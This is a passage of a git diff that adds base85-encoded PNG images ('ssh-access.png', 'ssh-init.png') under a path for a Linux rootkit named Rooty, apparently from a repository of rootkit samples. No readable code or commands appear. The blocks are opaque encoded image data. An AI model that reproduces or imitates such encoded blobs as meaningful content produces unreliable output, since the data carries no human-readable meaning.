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 O79QBbLH`fHhjugo literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/art/ssh-access.png b/Linux/Rootkits/Rooty/art/ssh-access.png new file mode 100644 index 0000000000000000000000000000000000000000..890fce75b3e21fb6f72c2de5d7125d4bf330d18b GIT binary patch literal 13869 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 a{9+hVy2>RJtoRo%!0A)YCo63)-2Q)g#saSZ literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/art/ssh-init.png b/Linux/Rootkits/Rooty/art/ssh-init.png new file mode 100644 index 0000000000000000000000000000000000000000..c35d42fc5779836be25031fa0f160a5e0d312c48 GIT binary patch literal 7054 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 